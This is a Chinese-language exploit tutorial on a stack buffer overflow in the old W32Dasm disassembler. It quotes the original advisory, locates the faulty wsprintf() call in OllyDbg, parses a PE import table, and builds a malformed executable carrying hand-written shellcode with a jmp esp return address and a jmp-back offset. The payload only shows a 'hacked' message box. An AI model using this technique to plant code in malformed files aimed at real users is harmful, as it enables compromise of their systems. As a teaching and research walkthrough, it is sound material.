漏洞报告分析

学习过破解的朋友一定听说过W32Dasm这款逆向分析工具。它是一个静态反汇编工具，在IDA Pro流行之前，是破解界人士必然要学会使用的工具之一，它也被比作破解界的“屠龙刀”。

但是即便是这么一款破解界的“神器”，竟然也是存在着缓冲区溢出的漏洞的。可见，它在破解无数程序的同时，其自身也存在着被“黑”的风险。那么我们可以首先分析一下漏洞报告：

#######################################################################
                             Luigi Auriemma
Application:  W32Dasm
              (was http://www.expage.com/page/w32dasm)
Versions:     <= 8.93 (8.94???)
Platforms:    Windows
Bug:          buffer-overflow
Exploitation: local
Date:         24 Jan 2005
Author:       Luigi Auriemma
              e-mail: [email protected]
              web:    aluigi.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
W32Dasm is a cool and famous disassembler/debugger developed by URSoft.
It has tons of functions and, also if it is no longer supported by long
time, it is still widely used by a lot of people.
#######################################################################
======
2) Bug
======
The program uses the wsprintf() function to copy the name of the
imported/exported functions of the analyzed file into a buffer of only
256 bytes, with the possibility for an attacker to execute malicious
code.
#######################################################################
===========
3) The Code
===========
Exploiting the bug is very simple, all you need is to get an executable
and searching for the name of an imported or exported function to
modify.
I have written a very simple proof-of-concept that overwrites the
return address with 0xdeadc0de:
  http://aluigi.org/poc/w32dasmbof.zip
#######################################################################
======
4) Fix
======
No fix.
This program is no longer supported.
#######################################################################

依据上述漏洞报告我们可以知道，漏洞所出现的版本为8.93版及以下。漏洞出现的原因是由于软件在分析目标程序时，使用了wsprintf()这个函数用于复制导入/导出表的信息，而目标缓冲区的大小只有256个字节，这就给攻击者提供了执行恶意代码的机会。而利用这个漏洞的方法很简单，只需要找一个可执行文件（PE文件），然后找到它的导入或者导出表进行修改就可以了。

定位漏洞出现的位置

尽管通过以上漏洞报告，我们大致知道了程序的问题所在。但是就如同现今大部分的漏洞报告一样，报告中的内容还是比较少的，很多东西需要由我们来亲自研究一下才能够确认。而且亲自动手，也能够加深我们对这个问题的理解。当然在这里，我们无需从零开始进行研究，依旧是要以上述漏洞报告为基础。

首先利用OllyDbg载入W32dsm89.exe这个程序，然后按下“F9”让程序运行起来。因为我们已经知道了，漏洞出现的原因是因为wsprintf()这个函数不恰当利用造成的，因此这里我们需要在程序中搜索这个函数。可以在反汇编代码区域单击鼠标右键，选择“Search for”下的“All intermodular calls”：

图1

然后再键入想要查找的函数名称。不过这里我们已经可以发现存在着很多个wsprintf()，现在我们想知道究竟哪个函数才是出问题的位置，那么可以在任意一个wsprintf()上单击鼠标右键，选择“Set breakpoint on every call to wsprintfA”：

图2

然后程序中只要是出现了调用wsprintf()的地方，都会被下了断点：

图3

那么我们下一步就是确定究竟是哪个位置出了问题，换句话说，这里我想要查找的是用于拷贝导入/导出表的wsprintf()。

现在需要将W32Dasm激活，也就是用它分析一个可执行文件，这样当它调用wsprintf()的时候，OD就会帮我们断下来，从而可以进一步分析。这里我让W32Dasm分析的是Strings.exe这个程序。载入后，W32Dasm会卡住不动，说明OD已经帮我们断在了第一个wsprintf()的位置。可以在OD中查看一下这个位置的wsprintf()函数：

图4

很明显可以发现，由于这个wsprintf()的格式化参数为”%lu”，也就是无符号长整型，说明它复制的并不是字符串，所以可以略过，按F9继续执行。直至找到参数为“%s“的调用位置：

图5

可以发现，尽管这次的参数是字符型，但是EDX，也就是欲拷贝的字符串为“C:\strings.exe”并不是函数名称，说明这个位置也不对，所以继续按F9运行，直至执行到地址0x0045D8DB处：

图6

可以看到此时所拷贝的字符串为“GetFullPathNameA”，那么基本就可以确定是这里了。不妨用数据窗口看一下EDX中所保存的饿地址中的内容，然后再留意一下EAX中的函数，此时按一下F9：

图7

可见，此时EAX中保存的是即将要拷贝进缓冲区的函数名称，而EDX中保存的还是上一个函数名称，这通过数据窗口也能够确认。那么至此我们就可以确定出现问题的wsprintf()就是在这里了。

分析出现漏洞的缓冲区空间

函数名称所要拷贝到的缓冲区的地址，就保存在wsprintf()函数的第一个参数中，也就在EDX里面，它的值为EBP-FC，即0x0065BEE0-0x0FC，即0x0065BDE4这个地址处。那么这个缓冲区的大小就是0x0FC+0x04（EBP）=0x100，也就是十进制的256。这与漏洞描述中的缓冲区的大小是一致的。

图8

可见保存着返回地址的位置为0x0065BEE4，正常情况下，程序调用完毕后会跳转到0x00457EC0的位置继续执行。分析至此，漏洞的利用方式也就很明了了。根据我们之前的课程所讲的内容，第一种方式可以将这256个字节的缓冲区空间的下面四个字节覆盖为jmp esp，然后将ShellCode写入返回地址的下方。第二种方式就是直接将ShellCode写入这个缓冲区，然后将返回地址覆盖为缓冲区起始的地址。那么究竟哪种方式更加适合于W32Dasm，还需要进一步的分析才能够知道。

手动解析导入表

对于本程序来说，为了能够利用这个漏洞，我们可以构造一个畸形的可执行文件，把位于导入/导出表中的函数名构造得非常长，这样如果用户使用W32Dasm来载入我们所构造的畸形文件，就能够触发漏洞，从而在目标系统上为所欲为了。所以说在植入ShellCode之前，我觉得有必要给大家简单地讲解一下PE结构中的导入表的知识。

在可执行文件中使用其他DLL可执行文件的代码或数据，称为导入或者输入。当PE文件需要运行时，将被系统加载至内存中，此时Windows加载器会定位所有的导入的函数或数据，并将定位到的内容填写至可执行文件的某个位置供其使用。这个定位是需要借助于可执行文件的导入表来完成的。导入表中存放了所使用的DLL的模块名称及导入的函数名称或函数序号。

描述导入表的结构体是IMAGE_IMPORT_DESCRIPTOR，被导入的每个DLL都对应一个IMAGE_IMPORT_DESCRIPTOR结构。也就是说，导入的DLL文件与IMAGE_IMPORT_DESCRIPTOR是一对一的关系。IMAGE_IMPORT_DESCRIPTOR在文件中是一个数组，但是导入信息中并没有明确的指出导入表的个数，而是以一个导入表中全“0”的IMAGE_IMPORT_DESCRIPTOR为结束的。导入表对应的结构体定义如下：

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD Characteristics;
        DWORD OriginalFirstThunk;
    };
    DWORD TimeDateStamp;
    DWORD ForwarderChain;
    DWORD Name;
    DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR; 

对于这次的实验来说，我们重点关注的是OriginalFirstThunk这个字段，它包含导入名称表的RVA，或者可以理解为它所指向的就是真正的导入函数的位置。该字段指向一个名为IMAGE_THUNK_DATA的结构体，该结构体的定义如下：

typedef struct _IMAGE_THUNK_DATA32 {
    union {
        DWORD ForwarderString;
        DWORD Function;
        DWORD Ordinal;
        DWORD AddressOfData;
    } u1;
} IMAGE_THUNK_DATA32;

该结构体的成员是一个联合体，虽然联合体中有若干个变量，但由于该结构体中包含的是一个联合体，那么这个结构体也就相当于只有一个成员变量，只是有些时候它所代表的意义不同。每一个IMAGE_THUNK_DATA对应一个DLL中的导入函数。        IMAGE_THUNK_DATA与IMAGE_IMPORT_DESCRIPTOR类似，同样是以一个全“0”的IMAGE_THUNK_DATA为结束的。当IMAGE_THUNK_DATA值的最高位为1时，表示函数以序号方式导入，这时低31位被看做一个导入序号。当其最高位为0时，表示函数以函数名字的字符串的方式进行导入，这时它的值表示一个RVA，并且指向一个IMAGE_IMPORT_BY_NAME结构：

typedef struct _IMAGE_IMPORT_BY_NAME {
    WORD    Hint;
    BYTE    Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

该结构中的Hint字段表示该函数在其所属的DLL中的导出表中的序号。该值并不是必需的，一些连接器为此值赋以0值。而Name字段表示的是导入函数的函数名，是我们需要修改的对象。

那么既然知道了以上的理论知识，下面就开始手动地来解析一下strings.exe这个程序的导入表，这里我使用的是LordPE这款软件。首先打开LordPE，然后点击位于右边的“PE Editor”按钮，载入strings.exe这个程序。再点击位于右边的“Directories”按钮，打开“Directory Table”对话框：

图9

这里我们只关注“ImportTable”这一行的内容，这里点击“L”按钮，打开“Structure Lister”对话框：

图10

可以看到OriginalFirstThunk的值为0x00012A74，它是一个相对虚拟地址，我们需要把它换算为文件偏移，还好LordPE就给我们提供了这个功能。回到“PE Editor”对话框，单击右侧的“FLC”按钮，然后在RVA中输入“12A74”进行换算：

图11

可以看到换算完之后，文件偏移为0x00011074，选择右下角的“Hex Edit”，查看位于该位置的十六进制数值：

图12

可见这个位置的值为0x00012CBC，根据之前的分析，由于这个数值的最高位是0，因此它保存的就是函数名称字符串所在的RVA，所以还需要进行换算。换算完之后，得到的文件偏移为0x000112BC，查看该位置的数据如下：

图13

由右边解析出来的字符可以知道，这里正是我们所要寻找的导入函数的位置，第一个函数正是我们刚才用OD发现的第一个函数GetFullPathNameA，而它前面的0x01F8则是函数的序号。那么对于导入表的手动解析完毕，下面就是对其进行修改了。

植入ShellCode

之前讲过两种跳转到ShellCode的方式，这次我打算再介绍一种。首先给大家看一下这次所编写的ShellCode：

char ShellCode[] =
"\x90\x90\x90"
"\x33\xDB"                           // xor ebx,ebx
"\xB7\x04" 						  // mov bh,4
"\x2B\xE3"  					  // sub esp,ebx
"\x33\xDB"                           // xor ebx,ebx
"\x53"                                // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E"              // push "Warning"
"\x8B\xC4"                            // mov eax,esp
"\x53"                                 // push ebx
"\x68\x2E\x29\x20\x20"
"\x68\x20\x4A\x2E\x59"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20"            // push "You have been hacked!(by J.Y.)"
"\x8B\xCC"                           // mov ecx,esp
"\x53"                               // push ebx
"\x50"                               // push eax
"\x51"                               // push ecx
"\x53"                               // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0"                           // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0"                           // call ExitProcess			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"			  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x79\x5b\xe3\x77"                    // Return Address
"\xe9\xf7\xfe\xff\xff"                // jmp back

这次的ShellCode与以往不同之处在于，虽然我依然将返回地址覆盖为了jmp esp的地址，但是在返回地址的下方，也就是程序跳到esp的位置后，所执行的语句为“\xe9\xf7\xfe\xff\xff”，也就是jmp back。那么这个jmp back是什么意思呢。其实jmp指令（E9）后面所跟的是一个偏移地址，这里我是想让程序跳转一定的偏移，即缓冲区的前端去执行指令，这里该偏移的大小为“0xfffffef7”。那么这个值是怎么计算得来的呢？结合之前的分析可以知道，jmp
back这条指令所保存的地址为0x0065BEE4，由于jmp back本身长度是5，那么就令0x0065BEE8加上5，即0x0065BEED，然后我们的目标地址，也就是我们想要跳到的位置为0x0065BDE4，那么就用0x0065BDE4减去0x0065BEED，结果为0xFFFFFEF7。因为计算机是小端显示，因此写成ShellCode需要反向来写。请大家注意的是，由于我这里的函数地址采用的是硬编码的方式，所以大家在亲自动手实验的时候，一定要先获取自己系统上真实的函数地址，或者采用我们上节课所说的通用的ShellCode。

载入畸形PE文件

现在单独打开W32Dasm，然后载入我们所修改的畸形的strings.exe文件：

图14

可见漏洞已经被我们成功利用，并且单击“确定”后，程序也正常退出，说明我们的实验是成功的。